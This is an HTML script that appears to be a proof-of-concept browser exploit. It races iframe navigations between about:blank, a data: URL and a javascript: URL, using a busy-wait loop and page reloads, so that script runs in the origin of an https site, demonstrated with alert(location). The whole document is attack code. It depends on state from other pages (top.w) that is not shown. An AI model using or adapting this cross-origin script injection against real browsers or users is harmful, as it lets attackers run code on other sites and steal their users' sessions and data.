<script>
var ok = 0;
var x = document.createElement('iframe');
x.src = 'about:blank#';
document.documentElement.appendChild(x);
window.onload = function() {
  if (!ok) {
    // Intermittent failure.
    return top.location.reload();
  }
  top.flop = 1;
  alert('This is a text long enough to keep you occupied for a second it takes to start loading the attacked website.');
  try {
    x.contentWindow.a;
    alert('Uh oh, did the DNS query take too long? Retrying.');
    top.location.reload();
  } catch(e) {}
}
function f() {
  ok = 1;
  x.src = "javascript:if(location.protocol=='https:')alert(location)";
  if (!top.w) {
    // Intermittent failure.
    return ok = 0;
  }
  top.w.close();
}
x.src = 'data:text/html,';
setTimeout(f, 1);
// This ensures that the timeout is handled before the onload event.
var t = Date.now();
while (Date.now() - t < 1000) {}
</script>